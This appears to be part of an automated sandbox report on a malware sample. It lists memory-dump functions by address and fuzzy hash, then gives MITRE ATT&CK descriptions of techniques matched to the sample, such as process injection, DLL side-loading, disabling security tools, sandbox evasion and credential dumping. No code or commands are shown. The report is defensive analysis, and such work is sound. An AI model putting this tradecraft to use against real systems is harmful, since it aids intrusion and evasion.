Opcode Fuzzy Hash: 6970522d62d7887592ca42d722a2a763996773aa806f0d8f0b054970a65dc52d
Instruction Fuzzy Hash: 0D419C306042598FDB19CF28C844B6F7BB6EB89718F1484A6E958CB256D771DC41CBA2

Function 01145658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0432a03c2d09b4a6ef6b85dce5a2c13dfe40ac03318599148511cfe7cfc15a80
Instruction ID: bb7cd0b8615c32bcd12e56c4392e19ef7ebad59196c481b523c9a89859916c28
Opcode Fuzzy Hash: 0432a03c2d09b4a6ef6b85dce5a2c13dfe40ac03318599148511cfe7cfc15a80
Instruction Fuzzy Hash: EE31C33120610AEFCF1A9F65E954AAE3FA3FF89601F008064F9169B344CB35D961CBA1

Function 01148370 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6db6212dbe94be5b1d9a94e4817ae08d984568e306426b7242a1a8d82b6dff
Instruction ID: 15087725c51fe940f871484ba9d76285a9eeddee7b47c5e83ed9e4a5179faa03
Opcode Fuzzy Hash: 8f6db6212dbe94be5b1d9a94e4817ae08d984568e306426b7242a1a8d82b6dff
Instruction Fuzzy Hash: F92128713052504BDB2E27BD845473E2AA7AFC6E4D70D407DD406CB3A6EF25C842D392

Function 01148380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2a1bc711d0bb1dd32cc6dc1930fcf7e0154df2851443ba1497dae99f3a9683c
Instruction ID: f955f090f2f12899d4fdfbb2e324215655c6e474e242e1f5bc8274a6d4ae61fa
Opcode Fuzzy Hash: e2a1bc711d0bb1dd32cc6dc1930fcf7e0154df2851443ba1497dae99f3a9683c
Instruction Fuzzy Hash: 3E21CC313002104BDB2E2AAAC45473E269AAFC5E48F18803DD506CB79AEB25C882D382

Function 011428F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e3b75c935e513acf4ad3d8dad2fc51773e8a04c90a4d046248693e9ee4972d
Instruction ID: c45f2c9537b6f5684b207bbb0a8ca67bdfc41ccdda260c826543550d28486b40
Opcode Fuzzy Hash: f0e3b75c935e513acf4ad3d8dad2fc51773e8a04c90a4d046248693e9ee4972d
Instruction Fuzzy Hash: A6219075A001159FCB19DF28D4409AE37A5EF9D6A4B10C419E84A9B240EF34EA83CBE2

Function 01146300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e27db393bef523511c9ec3241e4255afe39cb5f41e47ca6c60afcd87b98227
Instruction ID: dea9a78ca4f4881d27d79c3835c0b7c42598f2d02edcbb67dc02156b67a02970
Opcode Fuzzy Hash: a6e27db393bef523511c9ec3241e4255afe39cb5f41e47ca6c60afcd87b98227
Instruction Fuzzy Hash: 3621053570A5118FC72D9B2AD454A2EB7A2FFCAB597058078E91ACB358CF30DC02C781

Function 010FD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142182553.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10fd000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2afc8323404f76a5d13c658c2e6818c2d30b1eb325c0e87c32d41be61c910f
Instruction ID: 05cd813c3f9c022d4b1622a2a95ddd9b31faeb2d7ce0eb54aa0e2600d3e90290
Opcode Fuzzy Hash: 8a2afc8323404f76a5d13c658c2e6818c2d30b1eb325c0e87c32d41be61c910f
Instruction Fuzzy Hash: 5E213771604204EFCB11CF58C9C5B26BBA5FB84314F24CAADEA8A4B742C736D446CB61

Function 01145649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef739633316e223cd541fc46334149f7e8a5d7d1eed7cec1b1fe38b3035b84e2
Instruction ID: ce2adfbd0f8dc25ab376ab391c84a91f796932aa8f2df54c74a61d9297ee5f5c
Opcode Fuzzy Hash: ef739633316e223cd541fc46334149f7e8a5d7d1eed7cec1b1fe38b3035b84e2
Instruction Fuzzy Hash: 8B212631606209CFCB5AAF68E5187AE3BE2FB45711F0140A9F8058F344CB349D51CBA1

Function 01144285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3381ebad70aa0daa9db0736518c8b18de76c70150faac21576a9aa703447e0
Instruction ID: a0d616b947e8f9fd6507f74cb18b52a5cc8b5a087d76d0dcfe3b4e6a9b4903a5
Opcode Fuzzy Hash: 8c3381ebad70aa0daa9db0736518c8b18de76c70150faac21576a9aa703447e0
Instruction Fuzzy Hash: 4331A478E11209CFCB49DFA8E59489DBBF2FF49305B208469E819AB364D731AD46CF41

Function 01149761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ddc5e2718959111268fc05e9907f6ce6d20ef10e36703a2420ca8e2e030a7e4
Instruction ID: 626b4c6b08e894476df2934780c49909da3a42f35a9733d9547e523354b43bf3
Opcode Fuzzy Hash: 7ddc5e2718959111268fc05e9907f6ce6d20ef10e36703a2420ca8e2e030a7e4
Instruction Fuzzy Hash: 15218D70E0124DDFDB19CFA9D550AEEBFB6AF88209F148069E515A7294DB30D941CF60

Function 011462F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c718e41a45ee494ddc1b9a2dbefc29f103ff11ccde8afbe7336d5a4ce71c1936
Instruction ID: db520193a30daf96b2ffa491449110555d0f7fee0e6ca2849a62c48a4dd41a2d
Opcode Fuzzy Hash: c718e41a45ee494ddc1b9a2dbefc29f103ff11ccde8afbe7336d5a4ce71c1936
Instruction Fuzzy Hash: 9C11E33570A5518FD72D9B2AD45852E7BA2FFCAA9530940B9E50ACB364CF20DC02C791

Function 011427F0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a9742b5f35e16951d8f4d54417b603f2ea24002a908664e20d2afb18e6aa2d6
Instruction ID: ebf488c1c135df184c99aa9c18a0c059ebf2569d6972e25f7146ef4e5d3ddafc
Opcode Fuzzy Hash: 5a9742b5f35e16951d8f4d54417b603f2ea24002a908664e20d2afb18e6aa2d6
Instruction Fuzzy Hash: F721EF74D0620A8FCB05DFA9D8455EEBFF0FF0A310F10426AE819B2214EB355A85CBA1

Function 0114F640 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 096e10fdd8c3209129760f55f0d2e75373ff4a83484a90e9ab3b66726cf0cbb0
Instruction ID: ffe686efd1f9279b1b4d44b7172b32a3ec5cde644ac82a4c47bd67be5dc01581
Opcode Fuzzy Hash: 096e10fdd8c3209129760f55f0d2e75373ff4a83484a90e9ab3b66726cf0cbb0
Instruction Fuzzy Hash: 4E216DB4D0020A9FDB05EFADD550A9EBFF2FB40705F0085A9D048DB618E7309A45CF80

Function 0114F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2630c8596117fdfd2c53047ed79a382952145d8172e6ffcf887925d042e455f
Instruction ID: 7fe0bfc2f24a9db16567d3a87c30adad5950206fbd1addd8ecd0775dc45e5fa7
Opcode Fuzzy Hash: b2630c8596117fdfd2c53047ed79a382952145d8172e6ffcf887925d042e455f
Instruction Fuzzy Hash: EC1137B4D0021A9FDB44EFADD590A9EBFF2FB44705F00C9A9D058AB258EB305A45CF81

Function 010FD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142182553.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10fd000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 33d71e8e7caafc2222238413196d9e6e72065d29f5f3f70a60a24145a746f9b9
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 9F11BB75504284DFDB12CF54C9C5B15BBA2FB84324F24C6ADEA894B692C33AD44ACB62

Function 01145E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c837d2cb64ea739ef4ecf616e33d40837b2747d0e57bb51d351c4bcfcc410ed4
Instruction ID: 408b9b10c218801ed7a6a24cf7467cc2a697668a240c08f21c6c29c55c416c67
Opcode Fuzzy Hash: c837d2cb64ea739ef4ecf616e33d40837b2747d0e57bb51d351c4bcfcc410ed4
Instruction Fuzzy Hash: 5E016D327092556FCB1A8E6498105EE3FA7DBCA650B19805AF901DB384CF318D028795

Function 0114ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf82a41ba0b913bcb3ac541a81ef9d77803855a72dfd17397f35a801e73098bd
Instruction ID: d88f5174e3c8198222aa440a2b582ea775483f251958228af9ac58cfde31817b
Opcode Fuzzy Hash: cf82a41ba0b913bcb3ac541a81ef9d77803855a72dfd17397f35a801e73098bd
Instruction Fuzzy Hash: E4F0F6313806104B972E5A2EE854A2ABADEEFC9E55347407AE90BC7361EF21CC038384

Function 0114E8E8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a44085dba9a59f960f5825a147c6da5a500f5f92e67be844336058062f39c0
Instruction ID: bb688a7934906f32e12490f91222c41d99dbda3de432b119317d35c2554cd4dc
Opcode Fuzzy Hash: b6a44085dba9a59f960f5825a147c6da5a500f5f92e67be844336058062f39c0
Instruction Fuzzy Hash: 7B118C78D0824AEFDB02DFA8D9409EEBBB1FB49304F00406AD914E3755D7355A1ACF92

Function 01149C29 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5a717b31d28824ca3da3195086451e2606df576fb1ffe846bd924fa61f3c21d
Instruction ID: 0d14a4bdcba01d40a54ccf1d7651678ac982bece668785044c2106ae5eaa1944
Opcode Fuzzy Hash: d5a717b31d28824ca3da3195086451e2606df576fb1ffe846bd924fa61f3c21d
Instruction Fuzzy Hash: 36F05832A112189FCB59DF699808AEEBBF5EBCC324F11C06AE918C7215E3315A158B91

Function 011428A2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48fe8d45e89088c11bb333db91b21c3fa0c3b8a625ecaa554c4469cec4fbe5a0
Instruction ID: 9842f7eb012a9346696b8e0041458be62f3cae57cae364a177830cd738a03c37
Opcode Fuzzy Hash: 48fe8d45e89088c11bb333db91b21c3fa0c3b8a625ecaa554c4469cec4fbe5a0
Instruction Fuzzy Hash: 4EE0DF31D14726CBCB02EBB09C000EEB734AE82261B48466BC0A536191EB346759C7A2

Function 011428B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe3cee8a82fce7dcca0c4f2284ba6dda04ee3693eb03aaf92888c83ff9fb324
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: ebe3cee8a82fce7dcca0c4f2284ba6dda04ee3693eb03aaf92888c83ff9fb324
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 01146739 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b2558975ca0e310bfe46fda9bdd1b218fa68170e430f8d3707a4a04556600f
Instruction ID: 7acce0516996b08ca45fe228463ab061cf989390faab83b8a582a6149e39705f
Opcode Fuzzy Hash: 21b2558975ca0e310bfe46fda9bdd1b218fa68170e430f8d3707a4a04556600f
Instruction Fuzzy Hash: BAE0C23100F3E54EC703A374A9240843F369A9310A71889EAD0498F5AFCDA5084AC322

Function 01148EF8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction ID: 99c4d09160c2ba20e18b2383bc2d7e4c27cb92f77ffaba1f9a31b4ba07e12d4a
Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
Instruction Fuzzy Hash: 3EC08C3320C1282BA23D108E7C40EA3BB8DC3C6BB4A220137FB1CD3201EC429C8001FA

Function 0114D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fad4ccebe2d23c179d8ad592494644b7e6f8368304cec55281741335584b7018
Instruction ID: 689e8fe6e439a3c94800b03f4b1d5dc116a9d63b2c99b9db1c444e5422858baf
Opcode Fuzzy Hash: fad4ccebe2d23c179d8ad592494644b7e6f8368304cec55281741335584b7018
Instruction Fuzzy Hash: F3D0E234E01108CBCF34DFA8F4844DCFBB0EF58322B10542AD829A3200C6301451CF01

Function 0114AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d61ef2906c5939315c85378461842754f8c72f2a5b018583927392ef5363d4
Instruction ID: c55426e6cae5c45d562f2e3247dbf528068656e509dea91b68eab7d19ae3bf2d
Opcode Fuzzy Hash: a0d61ef2906c5939315c85378461842754f8c72f2a5b018583927392ef5363d4
Instruction Fuzzy Hash: DBD0673AB410189FCB149F98E8408DDF7B6FB98221B448126E926A3265C631A965DB54

Function 01146748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b85f83b914db97eb1b00a5a091907cd8de3e95fdbacb7c5145b2516a2c07c3a2
Instruction ID: 42ea0c1388098a7eeaf0a768676e9fb4ef5d061031cf3ca0c7309eee3d48958c
Opcode Fuzzy Hash: b85f83b914db97eb1b00a5a091907cd8de3e95fdbacb7c5145b2516a2c07c3a2
Instruction Fuzzy Hash: 58C0123000632D4EC545F765ED4569577AEA7902067408974A10A0BA4DDEB45C858794

Non-executed Functions

Function 01146920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 01146952
\;^q, xrefs: 0114695E
\;^q, xrefs: 0114692C
\;^q, xrefs: 01146936

Memory Dump Source

Source File: 0000000D.00000002.4142435959.0000000001140000.00000040.00000800.00020000.00000000.sdmp, Offset: 01140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1140000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: c06117dff79adf1d9a9a6bad5deb6b2dceb1d74b839c00b4062f1747a48cbfb6
Instruction ID: e6c15faeacb6fc10ae10860f78d5c91dfe58659c32ce97b2989968ba441c5b9e
Opcode Fuzzy Hash: c06117dff79adf1d9a9a6bad5deb6b2dceb1d74b839c00b4062f1747a48cbfb6
Instruction Fuzzy Hash: 5401B1397001158FCB2C8E2CC444A6537EBAF8AF697154469E54ACB3A1EBB1DC41C741

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

